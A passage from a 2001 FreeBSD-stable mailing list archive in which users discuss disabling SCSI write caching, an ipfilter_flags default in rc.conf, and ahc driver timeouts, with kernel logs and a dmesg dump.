`infork' > /usr/src/sys/vm/vm_map.c:2217: structure has no member named `infork' > *** Error code 1 > > Any ideas? Well, it was updated about 4 hours ago. You might check and see if you have a tag of 1.108.2.5 +7 -1 src/sys/vm/vm_fault.c If you don't, recvsup and try start over. kent > > -- Andre. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://kstewart.urx.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 2:56:30 2001 Delivered-To: freebsd-stable@freebsd.org Received: from deborah.paradise.net.nz (deborah.paradise.net.nz [203.96.152.32]) by hub.freebsd.org (Postfix) with ESMTP id 9850F37B718; Wed, 14 Mar 2001 02:56:24 -0800 (PST) (envelope-from marki@paradise.net.nz) Received: from paradise.net.nz (203-79-69-96.apx0.paradise.net.nz [203.79.69.96]) by deborah.paradise.net.nz (8.11.3/8.11.3) with ESMTP id f2EArTU06551; Wed, 14 Mar 2001 23:53:29 +1300 (NZDT) Message-ID: <3AAF4DA0.C8DA9485@paradise.net.nz> Date: Wed, 14 Mar 2001 23:53:20 +1300 From: Mark Ibell X-Mailer: Mozilla 4.73 [en] (X11; I; FreeBSD 4.2-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Alfred Perlstein Cc: Mars Attack , Soren Schmidt , Peter Wemm , Mike Meyer , Helge Oldach , oberman@es.net, mobile@FreeBSD.ORG, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA References: <200103131007.f2DA73h54023@mobile.wemm.org> <01f001c0abaa$133e1680$4500a8c0@nomad> <20010313032635.Q29888@fw.wintelcom.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG What doesn't appear to have been mentioned is how exactly do we turn off write caching on SCSI drives. From poking around the best I could work out was to run 'camcontrol modepage da0 -m 0x08 -e -P 3' and set WCE to 0 where 0x08 comes from /usr/share/misc/scsi_modes. Is this the correct way to do it? Also, is it okay to leave tagged queuing enabled? (I'm really starting to get paranoid after all this discussion!) Cheers, Mark Alfred Perlstein wrote: > > * Mars Attack [010313 02:18] wrote: > > Geez, this thread is getting longer and all the more confusing, can some > > guru possibly attempt to outline the good and bad points of Softupdates or > > WC ? > > 1) softupdates good > 2) WC bad (even when not using softupdates) > > Basically, softupdates doesn't really matter, as long as you have > write caching turned on, you're defeating the safeness of FFS > (noasync) and FFS (softdep) by allowing the disk to reorder what > should be ordered writes. > > -- > -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] > Daemon News Magazine in your snail-mail! http://magazine.daemonnews.org/ > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 3: 6:32 2001 Delivered-To: freebsd-stable@freebsd.org Received: from dilbert.fcg.co.uk (dilbert.firstcallgroup.co.uk [194.203.69.166]) by hub.freebsd.org (Postfix) with ESMTP id 93D8A37B719 for ; Wed, 14 Mar 2001 03:06:23 -0800 (PST) (envelope-from pfrench@firstcallgroup.co.uk) Received: from pfrench by dilbert.fcg.co.uk with local (Exim 3.22 #1) id 14d96b-000CkE-00 for stable@FreeBSD.ORG; Wed, 14 Mar 2001 11:06:13 +0000 To: stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA In-Reply-To: <3AAF4DA0.C8DA9485@paradise.net.nz> Message-Id: From: Pete French Date: Wed, 14 Mar 2001 11:06:13 +0000 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > What doesn't appear to have been mentioned is how exactly do we turn off > write caching on SCSI drives. From poking around the best I could work > out was to run 'camcontrol modepage da0 -m 0x08 -e -P 3' and set WCE to > 0 where 0x08 comes from /usr/share/misc/scsi_modes. ...and on a related note, how do you do it on SCSI drives that are hnaging off the back of a RAID controller, where camcontrol doesnt seem to be useable (unless I've got the wrong end of the stick completely) ]-pete. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 3: 9:24 2001 Delivered-To: freebsd-stable@freebsd.org Received: from eve.framatome.fr (eve.framatome.fr [195.101.50.66]) by hub.freebsd.org (Postfix) with ESMTP id 5FF1D37B719 for ; Wed, 14 Mar 2001 03:09:17 -0800 (PST) (envelope-from ubc@paris.framatome.fr) Received: from localhost (ubc@localhost) by eve.framatome.fr (8.9.3/8.9.3) with ESMTP id MAA14322; Wed, 14 Mar 2001 12:09:15 +0100 (CET) (envelope-from ubc@paris.framatome.fr) Date: Wed, 14 Mar 2001 12:09:15 +0100 (CET) From: Claude Buisson X-Sender: ubc@eve.framatome.fr To: Tim Zingelman Cc: stable@FreeBSD.ORG Subject: Re: /etc/default/rc.conf bad default ipfilter_flags? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 13 Mar 2001, Tim Zingelman wrote: > Running 4.3-Beta, cvsupped early on 3/13/01. > > These lines are either confusing or wrong. Possibly something has changed > in the default state (now enabled?) of the ipfilter module. > > ipfilter_flags="-E" # should be *empty* when ipf is _not_ a module > # (i.e. compiled into the kernel) to > # avoid a warning about "already initialized" > > I load ipf as a module by adding a line to /boot/loader.conf: > ipl_load="YES" > > Running a GENERIC kernel. > > I have a valid rules file at /etc/ipf.rules > > I add the following line to /etc/rc.conf: > ipfilter_enable="YES" > > and when I boot I get... > from dmesg: > IP Filter: v3.4.16 initialized. Default = pass all, Logging = enabled > > from /var/log/console.log: > Mar 13 19:32:59 port /kernel: Doing initial network setup: > Mar 13 19:32:59 port /kernel: hostname > Mar 13 19:32:59 port /kernel: ipfilter > Mar 13 19:32:59 port /kernel: SIOCFRENB: Invalid argument > Mar 13 19:32:59 port /kernel: . > Mar 13 19:32:59 port /kernel: fxp0: flags=8843 > If I add this line to /etc/rc.conf: > ipfilter_flags="" > > The "SIOCFRENB: Invalid argument" message goes away, and ipf IS working. > > So if the comment is correct that -E is not needed for compiled into the > kernel ipf, and I am correct that -E is not needed for module loaded ipf, > I'd like to see the default change to "" and have the comment changed... > > +ipfilter_flags="" # Flags to ipfilter (if enabled). > -ipfilter_flags="-E" # should be *empty* when ipf is _not_ a module > - # (i.e. compiled into the kernel) to > - # avoid a warning about "already initialized" > > If someone can verify my findings I could submit a PR. > same thing here - tested on a 4.2-STABLE 2001/02/26 > Thanks, > > - Tim > Claude Buisson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 3:10:28 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mass.dis.org (mass.dis.org [216.240.45.41]) by hub.freebsd.org (Postfix) with ESMTP id 5FE5C37B719 for ; Wed, 14 Mar 2001 03:10:22 -0800 (PST) (envelope-from msmith@mass.dis.org) Received: from mass.dis.org (localhost [127.0.0.1]) by mass.dis.org (8.11.2/8.11.2) with ESMTP id f2EBDNn04877; Wed, 14 Mar 2001 03:13:24 -0800 (PST) (envelope-from msmith@mass.dis.org) Message-Id: <200103141113.f2EBDNn04877@mass.dis.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: Pete French Cc: stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA In-reply-to: Your message of "Wed, 14 Mar 2001 11:06:13 GMT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 14 Mar 2001 03:13:23 -0800 From: Mike Smith Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > What doesn't appear to have been mentioned is how exactly do we turn off > > write caching on SCSI drives. From poking around the best I could work > > out was to run 'camcontrol modepage da0 -m 0x08 -e -P 3' and set WCE to > > 0 where 0x08 comes from /usr/share/misc/scsi_modes. > > ...and on a related note, how do you do it on SCSI drives that are > hnaging off the back of a RAID controller, where camcontrol doesnt > seem to be useable (unless I've got the wrong end of the stick completely) Put battery-backed RAM on the RAID controller, and use the RAID controller setup to disable write caching on the drives. Mylex, at least, let you do this. -- ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 3:11: 4 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns5.sony.co.jp (ns5.Sony.CO.JP [202.238.80.5]) by hub.freebsd.org (Postfix) with ESMTP id 01E4C37B718 for ; Wed, 14 Mar 2001 03:11:02 -0800 (PST) (envelope-from mistral@imasy.or.jp) Received: from mail1.sony.co.jp (gatekeeper8.Sony.CO.JP [202.238.80.22]) by ns5.sony.co.jp (R8) with ESMTP id f2EBAt394138 for ; Wed, 14 Mar 2001 20:10:55 +0900 (JST) Received: from mail1.sony.co.jp (localhost [127.0.0.1]) by mail1.sony.co.jp (R8) with ESMTP id f2EBAtm10426 for ; Wed, 14 Mar 2001 20:10:55 +0900 (JST) Received: from mistral.imasy.or.jp ([43.1.172.41]) by mail1.sony.co.jp (R8) with ESMTP id f2EBAsT10412 for ; Wed, 14 Mar 2001 20:10:54 +0900 (JST) Received: (from yohta@localhost) by mistral.imasy.or.jp (8.11.3/3.7Wpl2-010215) id f2EBAqS52909; Wed, 14 Mar 2001 20:10:53 +0900 (JST) From: mistral@imasy.or.jp (Yoshihiko SARUMARU) To: stable@FreeBSD.org Subject: pkg_update: warnings.pl wants to be MFC'ed Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII X-Mailer: mnews [version 1.22PL5] 2001-02/07(Wed) Date: Wed, 14 Mar 2001 20:10:51 +0900 Message-ID: <010314201051.M0152715@mistral.imasy.or.jp> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi all, I'm using 4.3-BETA on March 6. Today I want to use pkg_update for a first time, but it wouldn't work at all. Who is forgetting to MFC src/contrib/perl5/warnings.pl ? mistral% pkg_update Can't locate warnings.pm in @INC (@INC contains: /usr/libdata/perl/5.00503/mach /usr/libdata/perl/5.00503 /usr/local/lib/perl5/site_perl/5.005/i386-freebsd /usr/local/lib/perl5/site_perl/5.005 .) at /usr/sbin/pkg_update line 32. BEGIN failed--compilation aborted at /usr/sbin/pkg_update line 32. Thanks, -- Yoshihiko SARUMARU mail: mistral@imasy.or.jp web: http://www.imasy.or.jp/~mistral/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 3:21:22 2001 Delivered-To: freebsd-stable@freebsd.org Received: from esec.com.au (lynx.esec.com.au [203.21.84.1]) by hub.freebsd.org (Postfix) with SMTP id 7CD9A37B719 for ; Wed, 14 Mar 2001 03:21:19 -0800 (PST) (envelope-from samwun@yahoo.com) Received: (qmail 10337 invoked from network); 14 Mar 2001 11:21:12 -0000 Received: from melb-dialin19.esec.com.au (HELO yahoo.com) (203.25.253.83) by lynx.esec.com.au with SMTP; 14 Mar 2001 11:21:12 -0000 Message-ID: <3AAF52F2.A03C274F@yahoo.com> Date: Wed, 14 Mar 2001 22:16:02 +1100 From: sam wun Organization: eSec Limited X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Mike Smith Cc: Pete French , stable@FreeBSD.ORG Subject: apache show "Exec format error" References: <200103141113.f2EBDNn04877@mass.dis.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I know this is not an appropriate newsgropu to post this msg, but I would think you guys konw more about it. I got the following error when I tried to execue a perl program with calling .css file: Exec format error: exec of /usr/local/cgi-bin/store/managerstylesheet.css failed [Wed Mar 14 22:10:03 2001] [error] [client 192.168.1.1] Premature end of script headers: /usr/local/cgi-bin/store/managerstylesheet.css Does anyone know what is this all about? Thanks Sam To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 3:34:15 2001 Delivered-To: freebsd-stable@freebsd.org Received: from areilly.bpc-users.org (CPE-144-132-234-126.nsw.bigpond.net.au [144.132.234.126]) by hub.freebsd.org (Postfix) with SMTP id 49CA537B71A for ; Wed, 14 Mar 2001 03:34:06 -0800 (PST) (envelope-from areilly@bigpond.net.au) Received: (qmail 56524 invoked by uid 1000); 14 Mar 2001 11:34:03 -0000 From: "Andrew Reilly" Date: Wed, 14 Mar 2001 22:34:03 +1100 To: Jordan Hubbard Cc: stable@FreeBSD.ORG, gibbs@FreeBSD.ORG Subject: Re: Uh oh. Looks like something broke with the AHC driver.. Message-ID: <20010314223403.A56449@gurney.reilly.home> References: <20010314013116G.jkh@osd.bsdi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010314013116G.jkh@osd.bsdi.com>; from jkh@osd.bsdi.com on Wed, Mar 14, 2001 at 01:31:16AM -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Mar 14, 2001 at 01:31:16AM -0800, Jordan Hubbard wrote: > I'm just testing the 4.3-BETA2 on my standard scratchbox (a dual PIII/500 > with two 9.1GB Quantum drives) and with the latest BETA build, I'm > seeing an unusual problem during extraction of the distribution bits: > > First, I start getting the following message looping on the > console: > > (da0:ahc0:0:0:0): Invalidating pack > > > (cd0:ahc0:0:4:0): SCB 0x12 - timed out in Data-out phase, SEQADDR == 0x8 > STACK == 0x3, 0x181, 0x16b, 0x0 > SXFRCTL0 == 0x80 > ahc0: Dumping Card State at SEQADDR 0x8 > SCSISEQ = 0x12, SBLKCTL = 0xa, SSTAT0 0x0 > SCB count = 90 > Kernel NEXTQSCB = 20 > Card NEXTQSCB = 20 > QINFIFO entries: > Waiting Queue entries: > Disconnected Queue entries: > > > Suffice it to say that the installation croaks at this point. Now > here's the interesting bit: This only happens reliably if I enable > soft updates on the root partition. Any real correlation? I have no > idea. Anyway, JFYI. If I can start reproducing it in other ways, > I'll let you know whether I've started to consider it a release > show-stopper bug or not. Here's a possible "me too". I haven't reported this before because (a) da2 is my backup Fujitsu MO drive, and it does do odd things occasionally, and (b) the backup disk is currently full and I haven't thrown the requisite round-tuit at it. If this actually represents a problem, and I can help with debugging it, please just say what you need... Following are a chunk of kernel messages from /var/log/messages and the contents of /var/run/dmesg.boot. The system is: FreeBSD gurney.reilly.home 4.3-BETA FreeBSD 4.3-BETA #7: Sun Mar 11 13:38:49 EST 2001 root@gurney.reilly.home:/usr/obj/usr/src/sys/GURNEY i386 Mar 14 03:11:24 gurney /kernel: (da2:ahc0:0:6:0): SCB 0x3 - timed out while idle, SEQADDR == 0x7 Mar 14 03:11:24 gurney /kernel: STACK == 0x3, 0x186, 0x147, 0xcd Mar 14 03:11:24 gurney /kernel: SXFRCTL0 == 0x80 Mar 14 03:11:24 gurney /kernel: ahc0: Dumping Card State at SEQADDR 0x7 Mar 14 03:11:24 gurney /kernel: SCSISEQ = 0x12, SBLKCTL = 0x2, SSTAT0 0x5 Mar 14 03:11:24 gurney /kernel: SCB count = 20 Mar 14 03:11:24 gurney /kernel: Kernel NEXTQSCB = 14 Mar 14 03:11:24 gurney /kernel: Card NEXTQSCB = 14 Mar 14 03:11:24 gurney /kernel: QINFIFO entries: Mar 14 03:11:24 gurney /kernel: Waiting Queue entries: Mar 14 03:11:24 gurney /kernel: Disconnected Queue entries: 0:3 Mar 14 03:11:24 gurney /kernel: QOUTFIFO entries: Mar 14 03:11:24 gurney /kernel: Sequencer Free SCB List: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Mar 14 03:11:24 gurney /kernel: Pending list: 3 Mar 14 03:11:24 gurney /kernel: Kernel Free SCB list: 15 16 17 18 19 0 1 2 4 5 6 7 8 9 13 12 11 10 Mar 14 03:11:24 gurney /kernel: Untagged Q(6): 3 Mar 14 03:11:24 gurney /kernel: sg[0] - Addr 0x5285e00 : Length 512 Mar 14 03:11:24 gurney /kernel: (da2:ahc0:0:6:0): Queuing a BDR SCB Mar 14 03:11:24 gurney /kernel: (da2:ahc0:0:6:0): Bus Device Reset Message Sent Mar 14 03:11:24 gurney /kernel: (da2:ahc0:0:6:0): no longer in timeout, status = 34b Mar 14 03:11:24 gurney /kernel: ahc0: Bus Device Reset on A:6. 1 SCBs aborted Mar 14 03:12:24 gurney /kernel: (da2:ahc0:0:6:0): SCB 0x3 - timed out while idle, SEQADDR == 0x7 Mar 14 03:12:24 gurney /kernel: STACK == 0x3, 0x186, 0x147, 0xcd Mar 14 03:12:24 gurney /kernel: SXFRCTL0 == 0x80 Mar 14 03:12:24 gurney /kernel: ahc0: Dumping Card State at SEQADDR 0x7 Mar 14 03:12:24 gurney /kernel: SCSISEQ = 0x12, SBLKCTL = 0x2, SSTAT0 0x5 Mar 14 03:12:24 gurney /kernel: SCB count = 20 Mar 14 03:12:24 gurney /kernel: Kernel NEXTQSCB = 14 Mar 14 03:12:24 gurney /kernel: Card NEXTQSCB = 14 Mar 14 03:12:24 gurney /kernel: QINFIFO entries: Mar 14 03:12:24 gurney /kernel: Waiting Queue entries: Mar 14 03:12:24 gurney /kernel: Disconnected Queue entries: 0:3 Mar 14 03:12:24 gurney /kernel: QOUTFIFO entries: Mar 14 03:12:24 gurney /kernel: Sequencer Free SCB List: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Mar 14 03:12:24 gurney /kernel: Pending list: 3 Mar 14 03:12:24 gurney /kernel: Kernel Free SCB list: 15 16 17 18 19 0 1 2 4 5 6 7 8 9 13 12 11 10 Mar 14 03:12:24 gurney /kernel: Untagged Q(6): 3 Mar 14 03:12:24 gurney /kernel: sg[0] - Addr 0x5285e00 : Length 512 Mar 14 03:12:24 gurney /kernel: (da2:ahc0:0:6:0): Queuing a BDR SCB Mar 14 03:12:24 gurney /kernel: (da2:ahc0:0:6:0): Bus Device Reset Message Sent Mar 14 03:12:24 gurney /kernel: (da2:ahc0:0:6:0): no longer in timeout, status = 34b Mar 14 03:12:24 gurney /kernel: ahc0: Bus Device Reset on A:6. 1 SCBs aborted Mar 14 03:13:54 gurney /kernel: (da2:ahc0:0:6:0): SCB 0x3 - timed out while idle, SEQADDR == 0x7 Mar 14 03:13:54 gurney /kernel: STACK == 0x3, 0x186, 0x147, 0xcd Mar 14 03:13:54 gurney /kernel: SXFRCTL0 == 0x80 Mar 14 03:13:54 gurney /kernel: ahc0: Dumping Card State at SEQADDR 0x7 Mar 14 03:13:54 gurney /kernel: SCSISEQ = 0x12, SBLKCTL = 0x2, SSTAT0 0x5 Mar 14 03:13:54 gurney /kernel: SCB count = 20 Mar 14 03:13:54 gurney /kernel: Kernel NEXTQSCB = 14 Mar 14 03:13:54 gurney /kernel: Card NEXTQSCB = 14 Mar 14 03:13:54 gurney /kernel: QINFIFO entries: Mar 14 03:13:54 gurney /kernel: Waiting Queue entries: Mar 14 03:13:54 gurney /kernel: Disconnected Queue entries: 0:3 Mar 14 03:13:54 gurney /kernel: QOUTFIFO entries: Mar 14 03:13:54 gurney /kernel: Sequencer Free SCB List: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Mar 14 03:13:54 gurney /kernel: Pending list: 3 Mar 14 03:13:54 gurney /kernel: Kernel Free SCB list: 15 16 17 18 19 0 1 2 4 5 6 7 8 9 13 12 11 10 Mar 14 03:13:54 gurney /kernel: Untagged Q(6): 3 Mar 14 03:13:54 gurney /kernel: sg[0] - Addr 0x5285e00 : Length 512 Mar 14 03:13:54 gurney /kernel: (da2:ahc0:0:6:0): Queuing a BDR SCB Mar 14 03:13:54 gurney /kernel: (da2:ahc0:0:6:0): Bus Device Reset Message Sent Mar 14 03:13:54 gurney /kernel: (da2:ahc0:0:6:0): no longer in timeout, status = 34b Mar 14 03:13:54 gurney /kernel: ahc0: Bus Device Reset on A:6. 1 SCBs aborted Mar 14 03:14:54 gurney /kernel: (da2:ahc0:0:6:0): SCB 0x3 - timed out while idle, SEQADDR == 0x7 Mar 14 03:14:54 gurney /kernel: STACK == 0x3, 0x186, 0x147, 0xcd Mar 14 03:14:54 gurney /kernel: SXFRCTL0 == 0x80 Mar 14 03:14:54 gurney /kernel: ahc0: Dumping Card State at SEQADDR 0x7 Mar 14 03:14:54 gurney /kernel: SCSISEQ = 0x12, SBLKCTL = 0x2, SSTAT0 0x5 Mar 14 03:14:54 gurney /kernel: SCB count = 20 Mar 14 03:14:54 gurney /kernel: Kernel NEXTQSCB = 14 Mar 14 03:14:54 gurney /kernel: Card NEXTQSCB = 14 Mar 14 03:14:54 gurney /kernel: QINFIFO entries: Mar 14 03:14:54 gurney /kernel: Waiting Queue entries: Mar 14 03:14:54 gurney /kernel: Disconnected Queue entries: 0:3 Mar 14 03:14:54 gurney /kernel: QOUTFIFO entries: Mar 14 03:14:54 gurney /kernel: Sequencer Free SCB List: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Mar 14 03:14:54 gurney /kernel: Pending list: 3 Mar 14 03:14:54 gurney /kernel: Kernel Free SCB list: 15 16 17 18 19 0 1 2 4 5 6 7 8 9 13 12 11 10 Mar 14 03:14:54 gurney /kernel: Untagged Q(6): 3 Mar 14 03:14:54 gurney /kernel: sg[0] - Addr 0x5285e00 : Length 512 Mar 14 03:14:54 gurney /kernel: (da2:ahc0:0:6:0): Queuing a BDR SCB Mar 14 03:14:54 gurney /kernel: (da2:ahc0:0:6:0): Bus Device Reset Message Sent Mar 14 03:14:54 gurney /kernel: (da2:ahc0:0:6:0): no longer in timeout, status = 34b Mar 14 03:14:54 gurney /kernel: ahc0: Bus Device Reset on A:6. 1 SCBs aborted Mar 14 03:15:42 gurney /kernel: (da2:ahc0:0:6:0): SCB 0x3 - timed out while idle, SEQADDR == 0x7 Mar 14 03:15:42 gurney /kernel: STACK == 0x3, 0x186, 0x147, 0xcd Mar 14 03:15:42 gurney /kernel: SXFRCTL0 == 0x80 Mar 14 03:15:42 gurney /kernel: ahc0: Dumping Card State at SEQADDR 0x7 Mar 14 03:15:42 gurney /kernel: SCSISEQ = 0x12, SBLKCTL = 0x2, SSTAT0 0x5 Mar 14 03:15:42 gurney /kernel: SCB count = 20 Mar 14 03:15:42 gurney /kernel: Kernel NEXTQSCB = 14 Mar 14 03:15:42 gurney /kernel: Card NEXTQSCB = 14 Mar 14 03:15:42 gurney /kernel: QINFIFO entries: Mar 14 03:15:42 gurney /kernel: Waiting Queue entries: Mar 14 03:15:42 gurney /kernel: Disconnected Queue entries: 0:3 Mar 14 03:15:42 gurney /kernel: QOUTFIFO entries: Mar 14 03:15:42 gurney /kernel: Sequencer Free SCB List: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Mar 14 03:15:42 gurney /kernel: Pending list: 3 Mar 14 03:15:42 gurney /kernel: Kernel Free SCB list: 15 16 17 18 19 0 1 2 4 5 6 7 8 9 13 12 11 10 Mar 14 03:15:42 gurney /kernel: Untagged Q(6): 3 Mar 14 03:15:42 gurney /kernel: sg[0] - Addr 0x5285e00 : Length 512 Mar 14 03:15:42 gurney /kernel: (da2:ahc0:0:6:0): Queuing a BDR SCB Mar 14 03:15:42 gurney /kernel: (da2:ahc0:0:6:0): Bus Device Reset Message Sent Mar 14 03:15:42 gurney /kernel: (da2:ahc0:0:6:0): no longer in timeout, status = 34b Mar 14 03:15:42 gurney /kernel: ahc0: Bus Device Reset on A:6. 1 SCBs aborted Mar 14 03:15:42 gurney /kernel: da2: reading primary partition table: error reading fsbn 0 Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 4.3-BETA #7: Sun Mar 11 13:38:49 EST 2001 root@gurney.reilly.home:/usr/obj/usr/src/sys/GURNEY Timecounter "i8254" frequency 1193182 Hz CPU: Pentium III/Pentium III Xeon/Celeron (499.15-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x672 Stepping = 2 Features=0x387f9ff real memory = 134152192 (131008K bytes) avail memory = 126623744 (123656K bytes) Preloaded elf kernel "kernel" at 0xc03e9000. Pentium Pro MTRR support enabled npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 agp0: mem 0xe0000000-0xe3ffffff at device 0.0 on pci0 pcib1: at device 1.0 on pci0 pci1: on pcib1 pci1: at 0.0 irq 11 isab0: at device 7.0 on pci0 isa0: on isab0 atapci0: port 0xf000-0xf00f at device 7.1 on pci0 ata0: at 0x1f0 irq 14 on atapci0 ata1: at 0x170 irq 15 on atapci0 uhci0: port 0xd000-0xd01f irq 10 at device 7.2 on pci0 usb0: on uhci0 usb0: USB revision 1.0 uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered chip0: port 0x5000-0x500f at device 7.3 on pci0 ed0: port 0xd400-0xd41f irq 5 at device 9.0 on pci0 ed0: address 00:00:e8:e1:8e:74, type NE2000 (16 bit) rl0: port 0xd800-0xd8ff mem 0xea001000-0xea0010ff irq 9 at device 10.0 on pci0 rl0: Ethernet address: 00:48:54:50:0f:88 miibus0: on rl0 rlphy0: on miibus0 rlphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto pcm0: port 0xdc00-0xdc3f irq 10 at device 11.0 on pci0 ahc0: port 0xe000-0xe0ff mem 0xea000000-0xea000fff irq 11 at device 12.0 on pci0 aic7880: Wide Channel A, SCSI Id=7, 16/255 SCBs fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 atkbdc0: at port 0x60,0x64 on isa0 atkbd0: irq 1 on atkbdc0 psm0: irq 12 on atkbdc0 psm0: model Generic PS/2 mouse, device ID 0 vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 sc0: on isa0 sc0: VGA <16 virtual consoles, flags=0x200> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A ppc0: at port 0x378-0x37f irq 7 on isa0 ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode ppc0: FIFO with 16/16/16 bytes threshold lpt0: on ppbus0 lpt0: Interrupt-driven port ppi0: on ppbus0 plip0: on ppbus0 IP packet filtering initialized, divert enabled, rule-based forwarding enabled, default to deny, logging limited to 100 packets/entry by default IPsec: Initialized Security Association Processing. ad0: 6149MB [13328/15/63] at ata0-master UDMA33 ad1: 6149MB [13328/15/63] at ata0-slave UDMA33 acd0: CDROM at ata1-master using UDMA33 Waiting 5 seconds for SCSI devices to settle Mounting root from ufs:/dev/ad0s2a da2 at ahc0 bus 0 target 6 lun 0 da2: Removable Optical SCSI-2 device da2: 10.000MB/s transfers (10.000MHz, offset 10) da2: 217MB (446325 512 byte sectors: 64H 32S/T 217C) -- Andrew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 3:37:25 2001 Delivered-To: freebsd-stable@freebsd.org Received: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177]) by hub.freebsd.org (Postfix) with ESMTP id A729137B719 for ; Wed, 14 Mar 2001 03:37:19 -0800 (PST) (envelope-from mvh@ix.netcom.com) Received: from netcom1.netcom.com (lai-ca3c-25.ix.netcom.com [209.110.242.25]) by johnson.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id GAA26175; Wed, 14 Mar 2001 06:37:16 -0500 (EST) Received: by netcom1.netcom.com (Postfix, from userid 1000) id 741AF1140FC; Wed, 14 Mar 2001 03:36:40 -0800 (PST) From: Mike Harding To: zingelman@fnal.gov Cc: stable@FreeBSD.ORG In-reply-to: (message from Tim Zingelman on Tue, 13 Mar 2001 20:37:49 -0600 (CST)) Subject: Re: /etc/default/rc.conf bad default ipfilter_flags? References: Message-Id: <20010314113640.741AF1140FC@netcom1.netcom.com> Date: Wed, 14 Mar 2001 03:36:40 -0800 (PST) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I can confirm that the "-E" seems to be unecessary for both kernel and kernel module loads. I can also confirm that ppp does not play well with ipfilter because ipfilter needs a 'ipf -y' to pick up the dynamically configured interfaces - it's set up before these interfaces exist, so that any rules applying to them don't work! I stick a 'ipf -y' near the end of pass 1 in /etc/rc.network but this is my local hack. - Mike Harding X-Authentication-Warning: nova.fnal.gov: tez owned process doing -bs Date: Tue, 13 Mar 2001 20:37:49 -0600 (CST) From: Tim Zingelman X-Sender: Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG X-Loop: FreeBSD.ORG Precedence: bulk Running 4.3-Beta, cvsupped early on 3/13/01. These lines are either confusing or wrong. Possibly something has changed in the default state (now enabled?) of the ipfilter module. ipfilter_flags="-E" # should be *empty* when ipf is _not_ a module # (i.e. compiled into the 